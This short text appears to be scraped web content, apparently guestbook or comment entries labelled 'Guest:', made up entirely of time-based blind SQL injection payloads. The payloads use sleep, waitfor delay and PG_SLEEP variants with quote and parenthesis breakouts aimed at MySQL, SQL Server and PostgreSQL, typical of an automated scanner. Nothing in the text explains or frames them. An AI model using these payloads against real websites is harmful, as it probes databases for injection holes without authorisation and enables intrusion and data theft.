Guest:0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Guest:-1; waitfor delay '0:0:15' --

Guest:-1); waitfor delay '0:0:15' --

Guest:-1 waitfor delay '0:0:15' --

Guest:uF1VrfQP'; waitfor delay '0:0:15' --

Guest:HXhfslIv'); waitfor delay '0:0:15' --

Guest:AfPg2vc4')); waitfor delay '0:0:15' --

Guest:0bcqjboo' OR 571=(SELECT 571 FROM PG_SLEEP(15))--

Guest:ZtwS79iS') OR 688=(SELECT 688 FROM PG_SLEEP(15))--